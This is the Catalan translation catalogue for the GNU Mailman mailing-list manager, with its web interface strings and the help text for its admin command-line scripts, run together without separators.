              l'adreça `%(sfx)s')<p>(Envieu les preguntes o comentaris a <p>... <b><i>o</i></b> seleccioneu la vostra entrada de
                      la llista de subscriptors (vegeu més amunt).<p><em>Per a veure més subscriptors, feu clic al rang corresponent
       que es llista a continuació:</em><p>Aquí sota podeu veure totes les llistes de correu públiques a
            %(hostname)s. Feu clic al nom que vulgueu per a obtenir més informació
            sobre una llista, o bé per a subscriure-us, cancel·lar subscripcions, o
            canviar les preferències de la vostra subscripció.<p>Aquestes són les llistes de correu %(mailmanlink)s públiques
            a %(hostname)s. Feu clic al nom d'una llista per a
            accedir a la seva pàgina de configuració.<p>Actualment no hi ha llistes de correu %(mailmanlink)s
            públiques a %(hostname)s.<p>Actualment no hi ha llistes públiques de correu
            %(mailmanlink)s a %(hostname)s.<em>Hem rebut recentment rebots de la vostra adreça.
             El teu <em>bounce score</em> és %(score)s d'un total
             màxim de %(total)s. Si us plau, comprova que la vostra adreça de
             subscripció es correcta i que no hi ha problemes de lliurament
             amb aquesta adreça. El teu bounce score serà automàticament             re-establert si els problemes son solucionats.Capçalera explícita <tt>Reply-To:</tt><ul><li><b>Retenir</b> -- Això retindrà el missatge per a l'aprovació
             del moderador de la llista.

             <p><li><b>Denegart</b> -- Això denegarà automàticament el missatge
             enviant un rebot de notificació a l'autor. El text de la notificació
             pot ser <a
             href="?VARHELP=privacy/sender/member_moderation_notice"
             >Configurat</a>.

             <p><li><b>Descartar</b> -- Això descarte el missatge sense
             enviar una notificació a l'autor.
             </ul>?AUn missatge de confirmació ha estat enviat a %(newaddr)s.Un resum ha estat enviatUn nom per a la llista és requeritSe us ha enviat un recordatori de la vostra contrasenya per correu electrònic.Una frase breu que identifiqui a aquesta llista.AcceptaAcceptacionsConfirma l'enviament del subscriptorAcció a portar a terme per els enviaments dels no-membres que no
                tenen una acció explícita definida.Acció a dur a terme per a tots aquests missatges retinguts:Acció a executar quan un missatge coincideixi amb les regles
             del filtre de continguts.Acció a portar a terme quan un membre moderat enviï
            a la llista.Acció:Afegeix <b>%(esender)s</b> a un dels filtres de remitents següents:Afegeix una traducció no difusa al diccionari.Afegeix un element nou...afegit  : %(s)sTasques addicionals de subscriptorsParàmetres addicionalsAddicionalment, reenvia aquest missatge a: Adreça/nomAdreça:Les adreces no coincideixenLes adreces d'aquesta llista tenen totalment prohibida la
            subscripció a la llista de correu, sense més procés de moderació.
            Inclogui una adreça per línia; començant amb un ^ per a utilitzar
            una expressió regular. les adreces no poden estar en blancAdreça de l'administrador:Sol·licituds administratives per a la llista de correu:AdministradorLes contrasenyes de l'administrador no coincideixenEls tests administratius comprovaran els enviaments per a veure si
            realment són peticions administratives (com subscriu, unsubscribe, etc),
            i els afegirà a la cua de peticions administratives, notificant de passada
            a l'administrador, de la nova sol·licitud.Anunciar aquesta llista quan algú pregunti per les llistes
            d'aquest sistema?Després de filtrar el contigut, el missatga era buitUna altra vegada per confirmar la contrasenya:Alias (regexps) que es qualifiquen com a noms explícits
                de To o CC de destinació per la llista.«All» executa tots els qrunners anteriorsJa sou membreJa és un membre: %(member)sVoleu suprimir-ne també els arxius?Adreces alternatives que són acceptables quan
              s'habilita `require_explicit_destination'. Aquesta opció accepta
              una sèrie d'expressions regulars, cadascuna en un línia distinta
              que es comparen amb cadascun dels destinataris del missatge.
              La comparança es realitza amb la funció de Python re.match(), el
              que significa que es comença des del principi de la cadena.

              <p>Perquè existeixi compatibilitat amb Mailman 1.1, si l'expressió
              regular no conté una '@' aleshores el patró es compara només amb
              la part local de l'adreça del destinatari. Si la comparança falla o el
              patró no conté una '@' aleshores el patró es compara amb l'adreça
              completa del destinatari.

              <p>Les comparances contra la part local estan obsoletes, en versions
              futures, el patró sempre es compararà contra l'adreça completa del destinatari.SempreUn document HTML ha estat eliminat...
URL: %(url)s
S'ha intentat subscriure la seva adreça de correu electrònic a la llista de distribució %(listaddr)s.
Vostè ja està subscrit a aquesta llista de distribució.

Com el llistat de subscriptors a aquesta llista no és públic, pot ser que algú amb males intencions
estigui sondejant la llista per a veure si pot descobrir els seus subscriptors. Podria arribar a ser
una violació de la privacitat si ho haguéssim deixat fer, però no ho hem fet.

Si realment va enviar la sol·licitud de subscripció i va oblidar que ja estava subscrit a la llista,
aleshores pot oblidar aquest missatge. Si sospita que algú realment ha tractat de descobrir si vostè
és un subscriptor d'aquesta llista, i li preocupa la seva privacitat, llavors si ho considera oportú pot enviar
un missatge a l'administrador de la llista a %(listowner)s.
Una introducció - uns quants paràgrafs - sobre la llista.
            S'inclourà com codi html al principi de la pàgina d'informació de la llista.
            Els retorns de carro finalitzaran un paràgraf - vegi els detalls per
            a més informació.TothomAprovaabrabrilàrabVoleu arxivar els missatges?Opcions d'arxivamentQuan calguiagoagostHa fallat l'autenticació.Ha fallat l'autorització.Auto-descartar notificació Voleu que es generi la contrasenya inicial de la llista de manera automàtica?Contestador automàticCaracterístiques de Auto-resposta .<p>

En els camps de text següents, la interpolació de cadenes es
porta a terme amb les següents substitucions de clau/valor:
<p><ul>
 <li><b>listname</b> - <em>agafa el nom de la llista de correu</em>
    <li><b>listurl</b> - <em>agafa la URL listinfo de la llista</em>
    <li><b>requestemail</b> - <em>agafa la adreça -request de la llista</em>
    <li><b>owneremail</b> - <em>agafa la adreça -owner de la llista</em>
</ul>

<p>per cada camp de text pots introduir el text directament, o pots especificar un fitxer en el teu sistema local per a pujar-lo com text.Resposta automàtica per al vostre missatge a la llista «%(realname)s»Auto-resposta a enviar als correus electrònics dels -amos.Auto-resposta a enviar als correus electrònics de -sol·licitud.Text d'Auto-resposta a enviar als remitents de la llista.S'està esperant l'aprovació del moderadorROpció --digest errònia: %(kind)sOpció --normal errònia: %(why)sTipus MIME erroni ignorat: %(spectype)sEspecificació URL erròniaHeu introduït una contrasenya d'aprovació incorrecta. El missatge retingut es continuarà retenint.Argument erroni a -a/--admin-notify: %(arg)sArgument erroni -w/--welcome-msg: %(arg)sArgument erroni: %(arg)sEls arguments són erronis: %(pargs)sArguments erronis: %(strargs)sElecció errònia: %(yesno)sOrdre errònia: %(command)sCadena de confirmació errònia.Argument de resum erroni: %(arg)sAdreça de correu electrònic errònia per a l'opció %(k)s: %(v)s Adreça de correu electrònic errònia per a la opció %(property)s: %(val)sL'adreça proporcionada es errònia Valor erroni del senyal de moderacióL'adreça de correu electrònic de l'amo és errònia: %(s)sDirectori de cua erroni: %(qdir)sL'expressió regular és incorrecta: L'ordre per a «set» no és correcta: %(subcmd)sNúmero d'estat erroni: %(arg)sValor erroni per <a href="?VARHELP=bounce/%(property)s"
                >%(property)s</a>: %(val)sAdreça de correu electrònic errònia/invàlidaAdreça de correu electrònic incorrecta: %(member)sAdreça de correu electrònic incorrecta: línia en blancEntrada d'opcions mal formada:
 %(record)sBandeja <b>%(esender)s</b> perquè mai pugui subscriure's
                    aquesta llista de correuLlista de BanL'adreça està bandejada (coincideix amb %(pattern)s)Característiques del lliurament per resum.A continuació, introduïu el text que s'afegirà
    a la part superior de la vostra invitació o notificació de subscripció.
    Incloeu almenys una línia en blanc al final...Les còpies de carbó ocultes o altres destinacions implícites no es permeten.
Intenti re-enviar el seu missatge explícitament incloent l'adreça de la llista
en el camp To: o Cc:. Notificació de mesura de retornSensibilitat de detecció de retornsProcessament dels retornsEn fer clic en el botó <em>Recorda-me-la</em>, se us enviarà
    la contrasenya per correu electrònic.En fer clic en el botó <em>Cancel·la la subscripció</em>
    se us enviarà un missatge de confirmació. Aquest missatge contindrà
    un enllaç on haureu de fer clic per a completar el procés de supressió
    (també podeu dur a terme la confirmació per correu electrònic; vegeu 
    les instruccions en el missatge de confirmació per a obtenir-ne més 
    informació).Per defecte, han de ser els missatges dels nous membres moderats?Posant aquest valor a <em>No</em>, inhabilitarà tot el
            processament automàtic dels missatges rebotats d'aquesta llista,
            no obstant, els missatges rebotats es llençaran, de manera que no
            inundin la bústia de l'administrador de la llista.Establir aquest valor a <em>No</em> inhabilitarà l'enviament
             que es fa normalment al propietari de la llista quan la
             subscripció d'un membre es cancel·li degut als rebots.
             Sempre s'intentarà avisar al membre.Establir aquest valor a <em>No</em> inhabilitarà
             l'enviament de missatges que es fa normalment
             als propietaris de llistes quan es desactiva l'adreça d'un
             subscriptor a causa d'un excés de rebots. De qualsevol forma,
             sempre s'intentarà notificar al subscriptor. Error d'script CGIPoden els membres de la llista escollir rebre el tràfic de la llista en un resum?Voleu que els subscriptors puguin escollir si reben el correu
             de manera immediata en lloc de resums agrupats?No hi pot haver una pàgina html buida.Cancel·laCancel·la i descartaCancel·la l'enviament del missatge retingutCancel·la la meva sol·licitud de subscripcióCancel·la l'enviamentNo es pot obrir el fitxer mbox %(mbox)s: %(msg)sNo es pot llegir el fitxer d'adreça: %(filename)s: %(msg)sNo puc llegir als subscriptors regulars i als no regulars des de l'entrada estàndard.No es pot treure el missatge %(filebase)s, s'ometrà:
%(e)sNo es pot cancel·lar la subscripció d'adreces que no són membres:catalàNombre màxim acceptable de destinataris en un lliurament.Canvia la meva adreça i el meu nomCanvia la meva contrasenyaCanviar la contrasenya d'una llista.

Abans del Mailman 2.1, les contrasenyes de les llistes eren desades en format crypt'd -- normalment.
Algunes instal·lacions de Python no tenien el modul crypt, i per això fallaven i feien servir md5.
Després la instal·lació de Python podia generar un modul crypt
i les contrasenyes de les llistes fallarien .

Al Mailman 2.1, totes les contrasenyes de les llistes i del site són SHA1 hexdigest
Això trenca les contrasenyes de llistes existens pre-Mailman 2.1, i
com aquestes contrasenyes no es desen en text pla, no es poden actualitzar..

Per això, aquest script genera noves contrasenyes per una llista i opcionalmentla envia
al seu amo.

Forma d'ús: change_pw [opcions]

Opcions:

    --all / -a
        Canviar la contrasenya per a totes les llistes.

    --domain=domain
    -d domain
        Canviar la contrasenya per a totes les llistes del domini virtual `domain'. Es poden
        donar múltiples opcions -d

    --listname=listname
    -l listname
        Canviar la contrasenya només per la llista especificada.. Es poden donar
        múltiples opcions -l.

    --password=newpassword
    -p newpassword
        Fer servir la contrasenya en text pla especificada  `newpassword' com a nova contrasenya
        per a totes les llistes afectades pel canvi.(amb les opcions -a, -d, i
        -l). Si no s'especfica, s'assiganarà una nova contrasenya generada aleatoriament.

    --quiet / -q
        No notificar als amos de la llista de la nova contrasenya. Hauras de tenir alguna altra forma de fer-lis saber
        la nova contrasenya.
        (presumtament out-of-band).

    --help / -h
        Mostra aquest missatge d'ajuda i surt.
Canvia l'adreçaCanvi de les contrasenyes d'administració de la llistaPetició de canvi de adreça confirmadaS'estan canviant les contrasenyes per a la llista: %(listname)sComprova la integritat de la base de dades de configuració d'una llista.

Es comproven tots els fitxers següents:

    config.pck
    config.pck.last
    config.db
    config.db.last
    config.safety

No passa res si falta algun d'aquests fitxers. config.pck i config.pck.last són
versions pickletades del fitxer de configuració de 2.1a3 i posteriors.
config.db i config.db.last es fan servir a totes les versions anteriors i són fitxers
marshals de Python. config.safety és un pickle escrit per a 2.1a3 i posteriors
quan no es podia llegir el fitxer config.pck principal.
 
Forma d'ú: %(PROGRAM)s [opcions] [listname [listname ...]]

Options:

    --all / -a
        Comprovar les bases de dades de totes les llistes. En cas contrari, nomes es comprova la llista donada.

    --verbose / -v
        Es mostra l'estat de tots els fitxers comprovats.

    --help / -h
        Mostra aquest missatge i surt.
Comprova si hi ha sol·licituds d'administració pendents i notifica-ho als
propietaris de la llista per correu en cas que sigui necessari.

Forma d'ús: %(PROGRAM)s [opcions]

Opcions:

    -h/--help
        Mostra aquest missatge d'ajuda i surt.
xinès (Xina)xinès (Taiwan)netejar un fitxer .mbox.

L'arxiu cerca línies From-Unix separant missatges en un fitxer mbox.
A causa de la compatibilitat, busca específicament línies que comencen amb
"From" -- Per ex. les lletres F en majúscules, r minúscules, o, m, espai en blanc, ignorant
qualsevol cosa més en la mateixa línia.

Normalment, qualsevol de les línies que comencin amb "From" en el cos del
missatge haurien d'estar escapades degut al fet que un caràcter > és el primer que
apareix a la línia. És possible que les línies no es trobin escapades.  Aquest sript intenta
corregir això fent una comprovació estricta de les línies From-Unix. Qualsevol línia que
comenci amb "From" però que no passi aquest test estricte s'escapa amb un caràcter >.

Forma d'ús: cleanarch [opcions] < inputfile > outputfile
Opcions:
    -s n
    --status=n
        Mostra un caràcter # cada n línies processades.

    -q / --quiet
        Don't print changed line information to standard error.

    -n / --dry-run
        No mostrar res.

    -h / --help
        Mostra aquest missatge i surt.
Neteja el formulariNeteja el senyalador de <em>moderació</em> d'aquest membreFeu clic aquí per a veure la llista de Feu clic aquí per a amagar la llegenda d'aquesta taula.Feu clic aquí per a mostrar la llegenda d'aquesta taula.Feu clic aquí per a tornar a carregar aquesta pàgina.Feu clic en un enllaç per a visitar la vostra pàgina
        d'opcions de la llista sol·licitada.Feu clic al número del missatge per a veure el missatge
            individual, o també podeu Clonar una adreça de membre.

Clonar una adreça de membre vol dir que s'afegirà un nous membre amb les mateixes opcions
i contrasenyes que el membre original de la adreça. Aquesta opció no envia
verificació a la nova adreça ni envia un missatge de benvinguda, etc.

La subscripció de membre existent normalment no es modifica de cap manera
Si voleu eliminar l'adreça antiga, fes servir la senyal -r. Si a més voleu canviar l'adreça del admin de la llista
fese servir la senyal -a.

Forma d'ús:
    clone_member [opcions] fromoldaddr tonewaddr

On:

    --listname=listname
    -l listname
        Comprovar i modificar només les llistes donades.Si -l no s'especifica,
        totes les llistes són escanejades. Es poden especificar múltiples opcions -l.

    --remove
    -r
        Eliminar l'adreça antiga de la llista de correu després de clonarla.

    --admin
    -a
        Escanejar lles adreces dels admins de la llista i clonarles o canviarles.

    --quiet
    -q
        Fer les modificacions en silenci.

    --nomodify
    -n
        Mostrar el que es farà però no fer res.

    --help
    -h
        Mostra aquest missatge d'ajuda i surt.

 fromoldaddr («de l'adreça antiga») és l'adreça antiga de l'usuari.  tonewaddr
 («a l'adreça nova») és l'adreça nova de l'usuari.

S'està calculant l'índex dels fils
Oculta l'adreça del subscriptorCategories de configuracióConfigurar una llista a partir d'un fitxer de text de descripció.

Forma d'ús: config_list [opcions] listname

Opcions:
    --inputfile filename
    -i filename
        Configura la llista assignant cada variable de modul-global continguda
        en el fitxer a un atribut de l'objecte llista, guardant els canvis a continuació.
        El fitxer especificat es carrega amb execfile() i té que contenir codi Python vàlid.
        Qualsevol variable que no sigui un atribut vàlid d'una llista s'ignorarà  (imprimint
        un missatge d'avís). Vegi també l'opció -c. 
        Una variable especial `mlist' es posa en l'àmbit global durant l'execució
        de execfile, que s'associa a la llista actual. Això li permet fer tot tipus de coses
        rares a la llista, però ¡VAGI AMB COMPTE! fer servir això pot danyar
        seriosament (i possiblement irreversiblement) la seva llista de distribució. 
    --outputfile filename
    -o filename
        En comptes de configurar la llista, imprimeix les variables de configuració de la
        llista en un format adequat per a usar-lo com entrada a aquest script. D'aquesta
        manera, pot guardar les opcions de configuració d'una llista i usar-les per a configurar
        altra llista. Les opcions de configuració es guarden a `filename'. Si filename és `-', la
        sortida del programa s'envia a la sortida estàndard. 
    --checkonly
    -c
        Amb aquesta opció la llista no és canviada. Només es útil amb
        lópció -i.

    --verbose
    -v
        Mostrar el nom dels atributs aixi com es van canviant. Només útil amb
        l'opció -i.

    --help
    -h
        Mostra aquest missatge i surt.

Les opcions -o i -i són mutuament exclusives.

ConfirmacióConfirmació(*) - es requereix correu electrònic de confirmació <br>
                           Requerir aprovació - requereix l'aprovació de l'administrador
                           de la llista per a les subscripcions <br>
                           Confirmar i aprovar - confirmar i aprovar
                           
                           <p>(*) Quan algú es subscriu, Mailman li envia una sol·licitud de confirmació
                             única que ha de contestar per a completar la susbcripció.
                             Això prevé que algun usuari maliciós faci subscripcions d'altra
                             gent sense el seu consentiment.Confirmeu la contrasenya de l'administrador:Confirmació i aprovacióConfirma la sol·licitud de canvi d'adreçaConfirmeu contrasenya inicial:Confirmeu la contrasenya del moderador:Confirmeu la sol·licitud de subscripcióConfirmeu la sol·licitud de cancel·lació de la subscripcióEs requereix la confirmació des del teu correu electrònic per a prevenir
que algú et subscrigui sense el teu consentiment. Les instruccions se't
han enviat a %(email)s. La vostra subscripció no s'inicirà fins que es confirmi. La cadena de confirmació era buida.Cadena de confirmació:Confirmació satisfactòriaNotificació de contingut filtratFiltre de&nbsp;contingutContinua esperant l'aprovacióConvertir les cadenes d'interpolació d'una llista de %-strings a $-strings.

Aquest script està fet per executarse com un script bin/withlist script, ex.

% bin/withlist -l -r convert <mylist>
No es pot obrir el fitxer per llegir: %(filename)s.No es pot obrir el fitxer per a escriptura:Crea la llistaCrea una llista de correu a %(hostname)sCrea una llista de correu nova buida.

Forma d'ús: %(PROGRAM)s [opcions] [nomllista [adreça-adminllista [contrasenya-admin]]]

Opcions:

    -l llengua
    --language=llengua
        Fes que «llengua» sigui la llengua preferida de la llista, la qual s'ha d'especificar com un
        codi de llengua de dues lletres.

    -u urlservidor
    --urlhost=urlservidor
        Estableix el nom del servidor per a la interfície web de la llista.

    -e servidorcorreu
    --emailhost=servidorcorreu
        Estableix el domini de correu de la llista.

    -q/--quiet
        Normalment es notifica l'administrador (havent-li-ho demanat)
        sobre la creació de la llista per correu electrònic. Aquesta opció suprimeix
        la pregunta i la notificació.

    -h/--help
        Mostra aquest missatge d'ajuda i surt.

Podeu especificar tants arguments a la línia d'ordres com siguin necessaris:
si en manca algun, se us demanarà.

Cada llista del Mailman té dos paràmetres que defineixen el nom del servidor 
per defecte del correu sortint i l'URL per defecte per a la interfície web. Quan 
configureu el Mailman, algunes opcions son calculades, però si estàs executant 
múltiples sites virtuals de Mailman, el valor per defecte no serà el apropiat
per a la llista que estàs creant.

Pots especificar el domini per a crear la nova llista al nom de la llista
aixi:

    mylist@www.mydom.ain

on `www.mydom.ain' hauria de ser el hostname base de l'URL al host virtual
de la llista.  Ex. Amb aquesta configuració la gent veuria la llista generada a
http://www.mydom.ain/mailman/listinfo.  i també, www.mydom.ain
hauria de ser una clau al VIRTUAL_HOSTS de mm_cfg.py/Defaults.py.  Es
consultarà per a proporcionar l'adreça del servidor de correu. Si no es pot trobar,
www.mydom.ain es farà servir tant per l'interfaz web com per el correu electrònic.

Si el nom de la llista és `mylist', el correu electrònic del s'agafarà de
DEFAULT_EMAIL_HOST i l'URL de DEFAULT_URL (tal i com
està definit al Defaults.py o al mm_cfg.py).

Nota que els noms de les llistes han de ser en minúscules.
Crea una altra llistaS'està creant el directori d'arxius croatSelecciona les cues de missatges erronis i de relegacions, 
recomanable un cop al dia.

Aquest script analitza les cues de missatges erronis («bad») i de 
relegacions («shunt») i en suprimeix els fitxers més antics que el 
nombre de segons especificats al valor 
«mm_cfg.BAD_SHUNT_STALE_AFTER» en cas que sigui major que 0.

Si el directori especificat a «mm_cfg.BAD_SHUNT_ARCHIVE_DIRECTORY»
és d'escriptura, s'hi traslladaran els fitxers antics. En cas contrari, se
suprimiran.

Només es processaran els fitxers normals immediatament subordinats
als directoris «bad» i «shunt». Qualsevol altre element s'ometrà.

Forma d'ús: %(PROGRAM)s [opcions]

Opcions:
    -h / --help
        Mostra aquest missatge i surt.
txecDiaridanèsS'ha actualitzat la base de dades...desdesembreLlengua per defecte d'aquesta llista.Opcions per defecte per als nous membres unint-se a la llista.<input
             type="hidden" name="new_member_options" value="ignore">AjornaSuprimeixSuprimeix aquesta llistaSuprimeix aquesta llista de correuFunciona amb el Mailman<br>versió %(version)sDescripcióDescripció:Descripció:              %(description)sInstruccions detallades per a la base de dades administrativaResumPeu de pàgina del resumCapçalera del resumMembres amb resum:Opcions del lliurament per resumDeshabilitatDescartaDescarta tots els missatges marcats com a <em>Ajorna</em>Descarta els missatges retinguts que siguin més antics que aquest nombre de dies.
            Utilitzeu el valor 0 per a no descartar-los automàticament.Descarta els missatges retinguts.

Forma d'ús:
    discard [opcions] fitxer ...

Opcions:
    --help / -h
        Mostra aquest missatge i surt.

    --quiet / -q
        No mostris els missatges d'estat.
S'ha descartat el missatge retingut #%(id)s de la llista %(listname)sDescartsEnvia missatges agrupats a les llistes amb missatges pendents i amb digest_send_periodic sel·leccionat.

Sintaxi: %(PROGRAM)s [opcions]

Opcions:
    -h / --help
        Imprimeix aquest missatge i surt.

    -l listname
    --listname=nomllista
        Envia els missatges agrupats només per la llista especificada.
        Si no se n'especifica una, els envia a totes les llistes.
No enviïs una còpia dels enviaments propis dels subscriptorsReculada detectada, de la versió %(hexlversion)s a la versió %(hextversion)s
El més probable que això no sigui segur.
Sortint.mode d'execució secBolca els continguts de qualsevol fitxer «database» de Mailman.

Forma d'ús: %(PROGRAM)s [opcions] fitxer

Opcions:

    --marshal/-m
        Assumir que el fitxer conté un fitxer marshal de Python, anul·lant qualsevol esbrinament automàtic.

    --pickle/-p
        Assumir que el fitxer conté un fitxer pickle de Python, anul·lant qualsevol esbrinament automàtic.

    --noprint/-n
        No tractar d'imprimir amb format l'objecte. Aquesta opció és útil si hi ha algun tipus de
        problema amb l'objecte i només vol obtenir una representació. Útil amb `python -i bin/dumpdb <file>`.
        En aquest cas, l'arrel de l'arbre es deixarà en una variable global anomenada "msg".
    --help/-h
        Mostra aquest missatge i surt.

Si el nom del fitxer acaba amb `.db', aleshores es suposa que el fitxer està en format
marshal de Python. Si el nom del fitxer acaba en `.pck' aleshores es suposa que el
fitxer està en format pickle de Python. En qualsevol cas, si es vol anul·lar la suposició
per defecte -- o si el nom de fitxer no acaba amb cap dels sufixes -- , cal utilitzar l'opció
-p o -m.
holandèsCada regla de filtratge de capçalera té dues parts: una llista
             d'expressions regulars (una per línia) i una acció a dur a terme. El
             Mailman comprova si les capçaleres del missatge coincideixen
             amb alguna de les expressions regulars de la regla. Si és així,
             el missatge es rebutja, es posa en espera o es descarta segons
             l'acció especificada. Utilitzeu <em>Ajorna</em> per a inhabilitar
             una regla temporalment.

             Podeu utilitzar més d'una regla de filtratge per a la llista. Si 
             aquest és el cas, es comprovarà la coincidència amb cada regla,
             una després de l'altra, i el processament s'aturarà tan bon punt
             es produeixi una coincidència.

             Tingueu en compte que es recullen les capçaleres de tots els
             fitxers adjunts (excepte les dels missatges administratius del 
             Mailman) i es comprova si coincideixen amb les expressions 
             regulars. Aquesta funció us permetrà filtrar els fitxers que
             continguin tipus o extensions de fitxers perilloses.Cada subscriptor té una <em>marca</em> de moderació que indica
             si els seus missatges es poden enviar directament a la llista, o si s'han d'aprovar
             prèviament pel moderador de la llista. Quan la marca de moderació està activada,
             els missatges del subscriptor s'han d'aprovar. Vostè, com administrador de la llista, pot
             decidir si els missatges de cada persona concreta s'han de modera o no.

             <p>Quan hi hagi un subscriptor nou, la seva marca de moderació inicial
             pren el seu valor d'aquesta opció. Desactivi aquesta opció per a acceptar els missatges
             dels subscriptors per defecte. Activi aquesta opció per a moderar els missatges dels subscriptors
             per defecte. Vostè sempre pot establir manualment la marca de moderació de cada subscriptor
             fent servir les <a href="%(adminurl)s/members">seccions d'administració dels subscriptors</a>.Cada subscriptor rep una puntuació de retorn en forma de
             número de coma flotant. Quan el Mailman rep un retorn d'un 
             subscriptor, se li incrementa la puntuació de retorn. Els retorns
             definitius (errors fatals) incrementen la puntuació en 1 punt, mentre
             que els retorns temporals (errors temporals) incrementen la 
             puntuació en 0.5 punts. Només comptarà un retorn per dia per a
             la puntuació de cada subscriptor, de manera que si per exemple
             es reben 10 retorns d'un subscriptor en un mateix dia, la seva
             puntuació només s'incrementarà en 1 punt.

             Aquesta variable descriu el límit superior de la puntuació d'un 
             subscriptor, per sobre de la qual se li inhabilitarà el compte, però
             no se'l suprimirà de la llista de correu.Cada paraula clau de tema és en realitat una expressió regular,
            que es compara contra certes parts del missatge de correu, concretament
            les capçaleres <code>Keywords:</code>i <code>Subject:</code>.
            Cal tenir en compte que les primeres línies del cos del missatge poden contenir
            també unes "headers" <code>Keywords: </code> i <code>Subject:</code>
            sobre les quals també es porta a terme la recerca.Edita l'HTML: ErrorEdita les opcionsEdita les pàgines HTML i fitxers de text públicsEnvia'm la meva contrasenya per correu electrònicAdreça electrònica:La retenció d'emergència de tot el tràfic està activadaLa moderació d'emergència de tot el tràfic de la llista està activadaModeració d'emergència de tot el tràfic de la llista.Les contrasenyes buides per les llistes no estan permesesHabilitatVoleu que es codifiqui el
             <a href="?VARHELP=general/subject_prefix">prefix de
             l'assumpte</a> fins i tot quan tots els seus caràcters siguin en ASCII?Final de anglès (EUA)Introduïu la galeta de confirmacióIntroduïu una contrasenya nova per a l'administrador:Introduïu una contrasenya nova per al moderador:Introduïu una adreça per línia aquí sota...Introduïu l'adreça electrònica de l'encarregat de la llista: Introduïu el nom de la llista: ErrorError en cancel·lar la subscripció:Error en convidar:Error obrint la llista "%(listname)s", saltant.
%(e)sError obrint la llista  %(listname)s... saltant. Error en subscriure:Error: estoniàeuskeraCapçalera <tt>Contestar-a:</tt> explícita.Adreça explícitaExporta una representació en XML d'una llista de correu.PMF 4.48febfebrerFiltra els missatges duplicats als membres de la llista (si és possible)Regles de filtre a coincidir amb les capçaleres d'un missatge.S'està finalitzantCerca de subscriptors %(link)s:finlandèsPrimerFixar els fitxers MM2.1b4.

Forma d'ús: %(PROGRAM)s [opcions] fitxer ...

On les opcions són:
    -h / --help
        Mostra aquest missatge i surt.

Només hi ha que fer servir això per `fixar' alguns fitxers de bases de dades
que hagin estat escrits amb Mailman 2.1b4 amb informació errònia.
Fes-lo servir aixi desde el teu
$PREFIX directori

%% %(PROGRAM)s `grep -l _mlist archives/private/*/database/*-article`

(es requereixen les cometes)

Necessitaràs executar `bin/check_perms -f' després d'executar aquest script.
S'està fixant la plantilla de llengua:  %(listname)sPeu de pàgina afegit a cada resumPeu de pàgina afegit al correu enviat als membres regulars de la llista.Per alguna raó, %(mbox_dir)s existeix com a fitxer. Això no funcionarà amb
la b6, així que es canviarà el nom a %(mbox_dir)s.tmp i es continuarà.Per alguna raó desconegudaReenvia els missatges (individualment) a:Reenviament de missatge moderatEnvia'l al propietari de la llistaOpcions de re-enviament Quartfrancès divDe:De: %(sender)s el %(date)s
Assumpte: %(subject)s
Causa: %(reason)sPersonalització completaCaracterístiques fonamentals de la llista, com ara la 
            informació i el seu comportament bàsic.gallecOpcions GeneralsPàgina d'informació general de la llistaPersonalitat general de la llistaGenera un catàleg de missatges binari a partir d'una traducció de text.

Aquest programa converteix un catàleg de missatges de text en el format 
Uniforum (fitxer .po) en un catàleg binari del GNU (fitxer .mo). En essència, 
això és el mateix que fa el programa «msgfmt» del GNU, però aquesta n'és
una implementació més simple.

Forma d'ús: msgfmt.py [OPCIONS] nomdefitxer.po

Opcions:
    -o fitxer
    --output-file=fitxer
        Especifica el fitxer de sortida on escriure. Si s'omet, la sortida
        s'escriurà a un fitxer anomenat nomdefitxer.mo (basat en el nom
        del fitxer d'entrada).

    -h
    --help
        Mostra aquest missatge i surt.

    -V
    --version
        Mostra la informació de la versió i surt.
alemanyGNU No és UnixVés als arxius de la llistaVés a la pàgina d'informació general de la llistaText en gzip%(sz)sNo s'ha modificat l'HTML.Eliminat el document HTML adjuntS'ha actualitzat l'HTML satisfactòriament.Capçalera afegida a cada resumCapçalera afegida al correu enviat als membres regulars de la llistaLes regles de filtre de capçalera requereixen un patró.
                Les regles de filtre incompletes s'ignoraran.Filtres de capçalerahebreuMissatges retingutsOcultar el remitent del missatge, reemplaçant-lo amb
            l'adreça de la llista (elimina els camps From, Sender i Reply-To)Premeu la tecla de retorn per a notificar el propietari de %(listname)s...ManténMissatges retinguts que tenen una capçalera que coincideix amb una regexp específica.RetencionsNom de servidor que prefereix aquesta llista per al correu electrònic.Adreça hostil (caràcters il·legals)Adreça hostil (caràcter il·legals): %(member)sS'ha detectat un intent de subscripció hostilDe quina mida (en kb) ha de ser el resum en Kb abans que s'enviï?Quantes notificacions de <em>Your Membership Is Disabled</em> ha de rebre
           un subscriptor abans de ser eliminat de la llista de correu.
           Estableix aquest valor a 0 si voleu eliminar immediatament l'adreça una
           vegada excedit el límit. Aquest valor ha de ser un nombre sencer. Quantes línies del cos ha d'escanejar el buscador de temes?Amb quina freqüència s'ha d'iniciar un volum d'arxiu nou?Amb quina freqüència caldria començar un nou volum de resum?hongarèsSi l'enviament té aquest nombre de destinataris, o més, és
                retingut per a l'aprovació de l'admin. Fes servir 0 si no voleu límit.Si rebutgeu aquest missatge,<br>expliqueu-ne el motiu (opcional):Si respon a aquest missatge mantenint la capçalera Subject: (Assumpte) intacta,
Mailman descartarà el missatge retingut. Faci això si el missatge és spam.
Si respon a aquest missatge incloent una capçalera Approved: amb la contrasenya
de la llista en ella, s'aprovarà el missatge perquè es lliuri a la llista.
La capçalera Approved: pot aparèixer també a la primera línia
del cos de la resposta. Si introduïu una contrasenya, l'heu de confirmar.Si la llengua per defecte de la llista utilitza un conjunt de
             caràcters no ASCII, el prefix es codificarà segons l'estàndard. No obstant
             , si el prefix conté únicament caràcters ASCII, podria posar aquesta opció
             a <em>Mai</em> per a inhabilitar la codificació del mateix. Això podria fer
             les capçaleres lleugerament més llegibles per a aquells usuaris que utilitzin
             lectors de correu que no funcionin bé amb codificacions no ASCII.

             <p>Observi no obstant, que si la llista de distribució rep missatges amb
             l'assumpte codificat unes vegades i unes altres sense codificar, igual
             preferiria elegir <em>Quan sigui necessari</em>. Fent servir aquesta opció,
             Mailman no codificarà prefixos ASCII quan la resta de la capçalera
             contingui sol caràcters ASCII, però si la capçalera original conté caràcters no
             ASCII, codificarà el prefix. Això evita una ambigüitat en l'estàndard que podria
             causar que alguns lectors de correu mostrin espais extres entre el prefix i la
